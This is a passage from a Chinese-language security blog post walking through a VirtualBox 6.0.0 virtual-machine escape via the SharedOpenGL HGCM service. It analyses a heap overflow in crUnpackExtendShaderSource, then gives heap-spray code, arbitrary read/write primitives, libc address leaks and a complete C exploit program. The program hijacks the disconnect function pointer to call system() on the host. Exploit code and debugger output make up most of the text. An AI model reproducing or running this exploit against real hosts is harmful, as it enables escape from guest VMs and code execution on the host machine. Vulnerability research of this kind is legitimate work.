1a:00d0│ 0x7fb89214f150 —▸ 0x7fb8a5cfc982 (crVBoxHGCMSend) ◂— push rbp

1b:00d8│ 0x7fb89214f158 ◂— 0x0

因此这里我们无需用到越界读也能泄露出原来CRConnection中的信息,我们泄露出位于0x248处的pClient地址以后,重新建立了一个新的VBoxSharedCrOpenGL服务,以便我们后续劫持该服务中的CRConnection中一些函数指针,从而控制程序流程

uint64_t client_addr = *(uint64_t *)(crmsg_buf+0x10);

//重新将新的CRClient和CRConnection结构体占位与此

new_client = hgcm_connect("VBoxSharedCrOpenGL");

LeakClient lc = {

.new_client = new_client,

.client_addr = client_addr

};

/*for (int i=0;i<100;i++) {

printf("%02x ",crmsg_buf[i]);

}*/

return lc;

crUnpackExtendShaderSource

分析

现在来看第二个漏洞crUnpackExtendShaderSource函数

void crUnpackExtendShaderSource(void)

{

GLint *length = NULL;

GLuint shader = READ_DATA(8, GLuint);

GLsizei count = READ_DATA(12, GLsizei);

GLint hasNonLocalLen = READ_DATA(16, GLsizei);

GLint *pLocalLength = DATA_POINTER(20, GLint);

char **ppStrings = NULL;

GLsizei i, j, jUpTo;

int pos, pos_check;

if (count >= UINT32_MAX / sizeof(char *) / 4)

{

crError("crUnpackExtendShaderSource: count %u is out of range", count);

return;

}

pos = 20 + count * sizeof(*pLocalLength);

if (hasNonLocalLen > 0)

{

length = DATA_POINTER(pos, GLint);

pos += count * sizeof(*length);

}

pos_check = pos;

if (!DATA_POINTER_CHECK(pos_check))

{

crError("crUnpackExtendShaderSource: pos %d is out of range", pos_check);

return;

}

for (i = 0; i < count; ++i)

{

if (pLocalLength[i] <= 0 || pos_check >= INT32_MAX - pLocalLength[i] || !DATA_POINTER_CHECK(pos_check))

{

crError("crUnpackExtendShaderSource: pos %d is out of range", pos_check);

return;

}

pos_check += pLocalLength[i];

}

ppStrings = crAlloc(count * sizeof(char*));

if (!ppStrings) return;

for (i = 0; i < count; ++i)

{

ppStrings[i] = DATA_POINTER(pos, char);

pos += pLocalLength[i];

if (!length)

{

pLocalLength[i] -= 1;

}

Assert(pLocalLength[i] > 0);

jUpTo = i == count -1 ? pLocalLength[i] - 1 : pLocalLength[i];

for (j = 0; j < jUpTo; ++j)

{

char *pString = ppStrings[i];

if (pString[j] == '\0')

{

Assert(j == jUpTo - 1);

pString[j] = '\n';

}

}

}

// cr_unpackDispatch.ShaderSource(shader, count, ppStrings, length ? length : pLocalLength);

cr_unpackDispatch.ShaderSource(shader, 1, (const char**)ppStrings, 0);

crFree(ppStrings);

}

该函数的中间的一个循环,每次循环开始,检查前一次累加出的pos_check是否越界,显然经过这样的检查,pos_check肯定在INT32_MAX范围内,但是后一个范围即DATA_POINTER_CHECK(pos_check)的检查则不一定了

for (i = 0; i < count; ++i)

{

if (pLocalLength[i] <= 0 || pos_check >= INT32_MAX - pLocalLength[i] || !DATA_POINTER_CHECK(pos_check))

{

crError("crUnpackExtendShaderSource: pos %d is out of range", pos_check);

return;

}

pos_check += pLocalLength[i];

}

因为对于最后一次的循环,pLocalLength[i];可以为任意大小的值,将其累加到pos_check上面以后,就退出了循环,没有再次检查pos_check是否还在DATA_POINTER范围内。由于上述的检查不充分,下方的循环将导致溢出

Assert(pLocalLength[i] > 0);

jUpTo = i == count -1 ? pLocalLength[i] - 1 : pLocalLength[i];

for (j = 0; j < jUpTo; ++j)

{

char *pString = ppStrings[i];

if (pString[j] == '\0')

{

Assert(j == jUpTo - 1);

pString[j] = '\n';

}

}

虽然存在Assert(j == jUpTo - 1);的检查,但是对于release版本,在编译时Assert会被去掉。因此,上述代码可以溢出指定长度,并将后方为空字节的数据替换为\n。

利用

对于这种溢出,一个好的利用方式就是通过它将\0替换为\n的特性将某些类似于Buffer的对象的length修改,从而使得该Buffer能够越界溢出,进而控制其他对象。

前面SHCRGL_GUEST_FN_WRITE_BUFFER命令创建的CRVBOXSVCBUFFER_t对象是一个很好的选择,该对象结构如下

typedef struct _CRVBOXSVCBUFFER_t {

uint32_t uiId;

uint32_t uiSize;

void* pData;

_CRVBOXSVCBUFFER_t *pNext, *pPrev;

} CRVBOXSVCBUFFER_t;

将该对象布局到cr_unpackData后方,通过溢出,可以将CRVBOXSVCBUFFER_t中的uiSize改大,从而使得该CRVBOXSVCBUFFER_t能够溢出。假设在该CRVBOXSVCBUFFER_t的pData指向的内存后方还有一个CRVBOXSVCBUFFER_t,那么通过溢出,可以控制后面整个CRVBOXSVCBUFFER_t,从而实现任意地址读写。

首先通过申请大量的Buffer,消耗内存碎片,最后申请的几个Buffer就很大可能连续

uint32_t msg[] = {CR_MESSAGE_OPCODES, //type

0x66666666, //conn_id

1, //numOpcodes

CR_EXTEND_OPCODE << 24,

0x12345678,

CR_SHADERSOURCE_EXTEND_OPCODE, //extend opcode

0, //shader

2, //count

0, //hasNonLocalLen

0x1,0x100, // *pLocalLength

0x12345678 //padding

};

for (int i=0;i<0x1000-0x4;i++) {

alloc_buf(client,sizeof(msg),"heap fengshui",23);

}

int buf1 = alloc_buf(client,sizeof(msg),msg,sizeof(msg));

int buf2 = alloc_buf(client,sizeof(msg),"aaaaaaaaaaaaa",sizeof(msg));

int buf3 = alloc_buf(client,sizeof(msg),"bbbbbbbbbbbbb",sizeof(msg));

int buf4 = alloc_buf(client,sizeof(msg),"ccccccccccccc",sizeof(msg));

crmsg_with_bufid(client,buf1);

如上代码,我们选择buf1作为cr_unpackData,想要通过buf1溢出修改buf2的uiSize,调试如下

In file: /home/sea/Desktop/VirtualBox-6.0.0/src/VBox/HostServices/SharedOpenGL/unpacker/unpack_shaders.c

79 if (!ppStrings) return;

80

81 for (i = 0; i < count; ++i)

82 {

83 ppStrings[i] = DATA_POINTER(pos, char);

► 84 pos += pLocalLength[i];

85 if (!length)

86 {

87 pLocalLength[i] -= 1;

88 }

89

pwndbg> x /2gx ppStrings

0x7fb890f34ed0: 0x00007fb893001fcc 0x00007fb893001fcd

pwndbg> x /20gx 0x00007fb893001fcd

0x7fb893001fcd: 0x0000000000123456 0x0000000035000000

0x7fb893001fdd: 0x3000007b06000000 0xb893002010000000

0x7fb893001fed: 0xb893001f7000007f 0xb89300205000007f

0x7fb893001ffd: 0x000000000000007f 0x0000000045000000

0x7fb89300200d: 0x6161616161000000 0x6161616161616161

0x7fb89300201d: 0x6262626262626200 0x6300626262626262

0x7fb89300202d: 0x6363636363636363 0x4364690063636363

0x7fb89300203d: 0x000000000065696c 0x0000000035000000

0x7fb89300204d: 0x3000007b07000000 0xb893002080000000

0x7fb89300205d: 0xb893001fe000007f 0xb8930020c000007f

通过上面调试的数据,可以知道,我们的堆风水已经弄好了,现在就是溢出,修改buf2的uiSize,我们先通过调试,确定精确的溢出偏移大小,仅达到修改uiSize,保证其后面的数据不被破坏

In file: /home/sea/Desktop/VirtualBox-6.0.0/src/VBox/HostServices/SharedOpenGL/unpacker/unpack_shaders.c

91 jUpTo = i == count -1 ? pLocalLength[i] - 1 : pLocalLength[i];

92 for (j = 0; j < jUpTo; ++j)

93 {

94 char *pString = ppStrings[i];

95

► 96 if (pString[j] == '\0')

97 {

98 Assert(j == jUpTo - 1);

99 pString[j] = '\n';

100 }

101 }

pwndbg> x /20wx pString+0x3

0x7fb893001fd0: 0x00000000 0x00000000 0x00000035 0x00000000

0x7fb893001fe0: 0x00007b06 0x00000030 0x93002010 0x00007fb8

0x7fb893001ff0: 0x93001f70 0x00007fb8 0x93002050 0x00007fb8

0x7fb893002000: 0x00000000 0x00000000 0x00000045 0x00000000

0x7fb893002010: 0x61616161 0x61616161 0x61616161 0x62620061

我们确定出修改uiSize需要0x1B的偏移

239241

如图,buf2的uiSize已经成功被修改,现在我们就可以利用buf2修改buf3的CRVBOXSVCBUFFER_t结构体,构造任意地址读写原语。由于此处的堆是通过glibc申请的,因此当我们修改uiSize后,glibc堆chunk的头部也已经损坏,此时调用到svcFreeBuffer(pSvcBuffer);时,在glibc2.23环境下,虚拟机会发生崩溃。因此我们在ubuntu 1804上进行测试,由于glibc 2.27有tcache机制,不会检查chunk的size因此可以在glibc 2.27及以上完成利用。当在glibc2.27及以上环境时,我们换一种方式来布置堆风水

int buf1,buf2,buf3,buf4;

for (int i=0;i<0x4000;i++) {

buf1 = alloc_buf(client,sizeof(msg),msg,sizeof(msg));

buf2 = alloc_buf(client,sizeof(msg),"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",sizeof(msg));

buf3 = alloc_buf(client,sizeof(msg),"bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb",sizeof(msg));

buf4 = alloc_buf(client,sizeof(msg),"cccccccccccccccccccccccccccccccccccccc",sizeof(msg));

}

crmsg_with_bufid(client,buf1);

这样使得buf1、buf2、buf3、buf4相邻的可能比较大。

现在,我们已经可以通过buf2来控制整个buf3的CRVBOXSVCBUFFER_t了,那么我们可以构造出任意地址写的原语

int arb_write(int client,uint64_t addr,uint32_t size,void *buf) {

ArbWrite data = {

.size = size,

.addr = addr

};

//set CRVBOXSVCBUFFER_t's pData and size

write_buf(client,oob_buf,0xa30,0x44,&data,sizeof(data));

//arb write

write_buf(client,arb_buf,size,0,buf,size);

return 0;

}

有了任意地址写的原语以后,我们就要考虑如何构造任意地址读的原语。在svcCall中,有一条命令SHCRGL_GUEST_FN_READ,

case SHCRGL_GUEST_FN_READ:

{

.........

/* Fetch parameters. */

uint8_t *pBuffer = (uint8_t *)paParms[0].u.pointer.addr;

uint32_t cbBuffer = paParms[0].u.pointer.size;

/* Execute the function. */

rc = crVBoxServerClientRead(u32ClientID, pBuffer, &cbBuffer);

该命令会调用crVBoxServerClientRead函数,进一步进入crVBoxServerInternalClientRead函数

int32_t crVBoxServerInternalClientRead(CRClient *pClient, uint8_t *pBuffer, uint32_t *pcbBuffer)

{

if (pClient->conn->cbHostBuffer > *pcbBuffer)

{

crDebug("crServer: [%lx] ClientRead u32ClientID=%d FAIL, host buffer too small %d of %d",

crThreadID(), pClient->conn->u32ClientID, *pcbBuffer, pClient->conn->cbHostBuffer);

/* Return the size of needed buffer */

*pcbBuffer = pClient->conn->cbHostBuffer;

return VERR_BUFFER_OVERFLOW;

}

*pcbBuffer = pClient->conn->cbHostBuffer;

if (*pcbBuffer)

{

CRASSERT(pClient->conn->pHostBuffer);

crMemcpy(pBuffer, pClient->conn->pHostBuffer, *pcbBuffer);

pClient->conn->cbHostBuffer = 0;

}

return VINF_SUCCESS;

}

关键的一句代码crMemcpy(pBuffer, pClient->conn->pHostBuffer, *pcbBuffer);,可见该命令的作用是将pClient->conn->pHostBuffer中的内容拷贝给Guest,由于现在我们实现了任意地址写,并且pClient->conn的地址也已经知道,那么我们可以控制pHostBuffer,从而实现任意地址读。

int arb_read(int client,uint64_t conn_addr,uint64_t addr,uint32_t size,void *buf) {

//设置pHostBuffer为目的地址

arb_write(client,conn_addr+OFFSET_CONN_HOSTBUF,0x8,&addr);

//设置size

arb_write(client,conn_addr+OFFSET_CONN_HOSTBUFSZ,0x4,&size);

//通过SHCRGL_GUEST_FN_READ命令读取pHostBuffer指向的内容

return read_hostbuf(client,0x100,buf);

}

现在利用任意地址读,泄露出CRConnection中的函数指针

//读取函数指针,泄露地址

arb_read(new_client,conn_addr,conn_addr + OFFSET_ALLOC_FUNC_PTR,8,buff);

uint64_t alloc_addr = *((uint64_t *)buff);

printf("alloc_addr=0x%lx\n",alloc_addr);

当我们调试时,发现当我们的程序运行完毕以后,虚拟机就是崩溃

pwndbg> k

#0 __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:51

#1 0x00007f0b1da41921 in __GI_abort () at abort.c:79

#2 0x00007f0b1da8a967 in __libc_message (action=action@entry=do_abort, fmt=fmt@entry=0x7f0b1dbb7b0d "%s\n") at ../sysdeps/posix/libc_fatal.c:181

#3 0x00007f0b1da919da in malloc_printerr (str=str@entry=0x7f0b1dbb9818 "double free or corruption (out)") at malloc.c:5342

#4 0x00007f0b1da98f6a in _int_free (have_lock=0, p=0x7f0abb1470a0, av=0x7f0b1ddecc40 ) at malloc.c:4308

#5 __GI___libc_free (mem=0x7f0abb1470b0) at malloc.c:3134

#6 0x00007f0b2051da8f in RTMemFree (pv=) at /home/sea/Desktop/VirtualBox-6.0.0/src/VBox/Runtime/r3/alloc.cpp:262

#7 0x00007f0abaf25c4f in crFree (ptr=) at /home/sea/Desktop/VirtualBox-6.0.0/src/VBox/GuestHost/OpenGL/util/mem.c:128

#8 0x00007f0abaf385c9 in _crVBoxCommonDoDisconnectLocked (conn=0x7f0a04b05f50) at /home/sea/Desktop/VirtualBox-6.0.0/src/VBox/GuestHost/OpenGL/util/vboxhgcm.c:1370

#9 crVBoxHGCMDoDisconnect (conn=0x7f0a04b05f50) at /home/sea/Desktop/VirtualBox-6.0.0/src/VBox/GuestHost/OpenGL/util/vboxhgcm.c:1412

#10 0x00007f0abb171909 in crVBoxServerRemoveClientObj (pClient=0x7f0a05bd8d70) at /home/sea/Desktop/VirtualBox-6.0.0/src/VBox/HostServices/SharedOpenGL/crserverlib/server_main.c:677

#11 crVBoxServerRemoveClient (u32ClientID=43) at /home/sea/Desktop/VirtualBox-6.0.0/src/VBox/HostServices/SharedOpenGL/crserverlib/server_main.c:716

#12 0x00007f0abb160945 in svcDisconnect (u32ClientID=, pvClient=) at /home/sea/Desktop/VirtualBox-6.0.0/src/VBox/HostServices/SharedOpenGL/crserver/crservice.cpp:144

#13 0x00007f0afdaa1eb4 in hgcmServiceThread (pThread=0x7f0ab0003a60, pvUser=0x7f0ab0003900) at /home/sea/Desktop/VirtualBox-6.0.0/src/VBox/Main/src-client/HGCM.cpp:684

#14 0x00007f0afda9fd5f in hgcmWorkerThreadFunc (hThreadSelf=, pvUser=0x7f0ab0003a60) at /home/sea/Desktop/VirtualBox-6.0.0/src/VBox/Main/src-client/HGCMThread.cpp:200

#15 0x00007f0b204b5e7c in rtThreadMain (pThread=pThread@entry=0x7f0ab0003c90, NativeThread=NativeThread@entry=139684077311744, pszThreadName=pszThreadName@entry=0x7f0ab0004570 "ShCrOpenGL") at /home/sea/Desktop/VirtualBox-6.0.0/src/VBox/Runtime/common/misc/thread.cpp:719

通过栈回溯发现,是因为pHostBuffer在disconnect时,被free了,由于pHostBuffer被我们指向了任意地址,因此不会是一个合法的chunk。但是想到我们并没有对HGCM进行disconnect操作,经过研究发现只要我们的程序结束运行,HGCM就会自动断开。因此解决方法有很多,一种是不让我们的程序结束,结尾放一个死循环;另一种是将disconnect函数指针指向附近的retn指令,使得执行该指令时什么都不做。这里我使用的是第二种方法,因此我们的任意地址读原语

int arb_read(int client,uint64_t conn_addr,uint64_t addr,uint32_t size,void *buf) {

char val = 0x64;

//防止disconnect时free pHostBuffer时崩溃,我们将disconnect函数指针指向附近的retn指令处

arb_write(client,conn_addr+OFFSET_DISCONN_FUNC_PTR,0x1,&val);

//设置pHostBuffer为目的地址

arb_write(client,conn_addr+OFFSET_CONN_HOSTBUF,0x8,&addr);

//设置size

arb_write(client,conn_addr+OFFSET_CONN_HOSTBUFSZ,0x4,&size);

//通过SHCRGL_GUEST_FN_READ命令读取pHostBuffer指向的内容

stop();

return read_hostbuf(client,0x100,buf);

}

getshell

#include

#include

#include

#include

#include "chromium.h"

#include "hgcm.h"

#define OFFSET_ALLOC_FUNC_PTR 0xD0

#define OFFSET_DISCONN_FUNC_PTR 0x128

#define OFFSET_PCLIENT 0x248

#define CRVBOXSVCBUFFER_SIZE 0x20

#define OFFSET_CONN_HOSTBUF 0x238

#define OFFSET_CONN_HOSTBUFSZ 0x244

typedef struct LeakClient {

int new_client;

uint64_t client_addr;

uint64_t conn_addr;

} LeakClient;

typedef struct ArbWrite {

uint32_t size;

uint64_t addr;

} ArbWrite;

LeakClient leak_client(int client) {

//heap spray

for (int i=0;i<600;i++) {

alloc_buf(client,0x298,"CRConnection_size_fill",23);

}

for (int i=0;i<600;i++) {

alloc_buf(client,0x9d0,"CRClient_size_fill",23);

}

//CRClient和CRConnection结构体将被创建

int new_client = hgcm_connect("VBoxSharedCrOpenGL");

for (int i=0;i<600;i++) {

alloc_buf(client,0x298,"CRConnection_size_fill",23);

}

for (int i=0;i<600;i++) {

alloc_buf(client,0x9d0,"CRClient_size_fill",23);

}

//释放CRClient和CRConnection结构体

hgcm_disconnect(new_client);

uint32_t msg[] = {CR_MESSAGE_OPCODES, //type

0x66666666, //conn_id

1, //numOpcodes

CR_EXTEND_OPCODE << 24,

OFFSET_PCLIENT, //packet_length

CR_GETUNIFORMLOCATION_EXTEND_OPCODE, //extend opcode

0, //program

*(uint32_t *)"leak" //name

};

//将crmsg的unpack_buffer申请占位到之前的CRConnection结构体位置,从而进行数据泄露

crmsg(client,0x298,msg,sizeof(msg));

uint64_t client_addr = *(uint64_t *)(crmsg_buf+0x10);

uint64_t conn_addr = client_addr + 0x9e0;

//重新将新的CRClient和CRConnection结构体占位与此

new_client = hgcm_connect("VBoxSharedCrOpenGL");

LeakClient lc = {

.new_client = new_client,

.client_addr = client_addr,

.conn_addr = conn_addr

};

return lc;

}

int stop() {

char buf[0x10];

write(1,"stop",0x5);

read(0,buf,0x10);

}

int oob_buf;

int arb_buf;

int make_oob_buf(int client) {

uint32_t msg[] = {CR_MESSAGE_OPCODES, //type

0x66666666, //conn_id

1, //numOpcodes

CR_EXTEND_OPCODE << 24,

0x12345678,

CR_SHADERSOURCE_EXTEND_OPCODE, //extend opcode

0, //shader

2, //count

0, //hasNonLocalLen

0x1,0x1B, // *pLocalLength

0x12345678 //padding

};

//heap spray

int buf1,buf2,buf3,buf4;

for (int i=0;i<0x5000;i++) {

buf1 = alloc_buf(client,sizeof(msg),msg,sizeof(msg));

buf2 = alloc_buf(client,sizeof(msg),"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",sizeof(msg));

buf3 = alloc_buf(client,sizeof(msg),"bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb",sizeof(msg));

buf4 = alloc_buf(client,sizeof(msg),"cccccccccccccccccccccccccccccccccccccc",sizeof(msg));

}

crmsg_with_bufid(client,buf1);

//generate a new id

char *buf2_id = (char *)&buf2;

for (int i=0;i<4;i++) {

if (buf2_id[i] == '\0') buf2_id[i] = '\n';

}

//now buf2 was corrupted

oob_buf = buf2;

arb_buf = buf3;

return 0;

}

int arb_write(int client,uint64_t addr,uint32_t size,void *buf) {

ArbWrite data = {

.size = size,

.addr = addr

};

//set CRVBOXSVCBUFFER_t's pData and size

write_buf(client,oob_buf,0xa30,0x44,&data,sizeof(data));

//arb write

write_buf(client,arb_buf,size,0,buf,size);

return 0;

}

int arb_read(int client,uint64_t conn_addr,uint64_t addr,uint32_t size,void *buf) {

char val = 0x64;

//防止disconnect时free pHostBuffer时崩溃,我们将disconnect函数指针指向附近的retn指令处

arb_write(client,conn_addr+OFFSET_DISCONN_FUNC_PTR,0x1,&val);

//设置pHostBuffer为目的地址

arb_write(client,conn_addr+OFFSET_CONN_HOSTBUF,0x8,&addr);

//设置size

arb_write(client,conn_addr+OFFSET_CONN_HOSTBUFSZ,0x4,&size);

//通过SHCRGL_GUEST_FN_READ命令读取pHostBuffer指向的内容

stop();

return read_hostbuf(client,0x100,buf);

}

unsigned char buff[0x100] = {0};

int main() {

int idClient = hgcm_connect("VBoxSharedCrOpenGL");

printf("idClient=%d\n",idClient);

set_version(idClient);

//泄露出CRConnection的地址

LeakClient leak = leak_client(idClient);

int new_client = leak.new_client;

set_version(new_client);

uint64_t conn_addr = leak.conn_addr;

printf("new_client=%d new_client's CRClient addr=0x%lx CRConnection addr=0x%lx\n",new_client,leak.client_addr,conn_addr);

//制造OOB对象

make_oob_buf(new_client);

hgcm_disconnect(idClient);

//读取函数指针,泄露地址

arb_read(new_client,conn_addr,conn_addr + OFFSET_ALLOC_FUNC_PTR,8,buff);

uint64_t alloc_addr = *((uint64_t *)buff);

printf("alloc_addr=0x%lx\n",alloc_addr);

uint64_t VBoxOGLhostcrutil_base = alloc_addr - 0x209d0;

uint64_t abort_got = VBoxOGLhostcrutil_base + 0x22F0B0;

arb_read(new_client,conn_addr,abort_got,8,buff);

uint64_t abort_addr = *((uint64_t *)buff);

printf("abort_addr=0x%lx\n",abort_addr);

uint64_t libc_base = abort_addr - 0x407e0;

uint64_t system_addr = libc_base + 0x4f550;

printf("libc_base=0x%lx\n",libc_base);

printf("system_addr=0x%lx\n",system_addr);

//修改disconnect函数指针为system地址

arb_write(new_client,conn_addr+OFFSET_DISCONN_FUNC_PTR,0x8,&system_addr);

char *cmd = "/usr/bin/galculator";

arb_write(new_client,conn_addr,strlen(cmd)+1,cmd);

//getshell

hgcm_disconnect(new_client);

}

效果如下

239241

有关我前面分析到的HGCM协议和Chromium协议使用的C语言版的3dpwn库在我的github,欢迎大家来个star。

0x03 感想

第一次完成了VirtualBox的虚拟机逃逸,收获很多,成就感也很大。在安全研究的这条路上还要走很远,加油。

0x04 参考

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值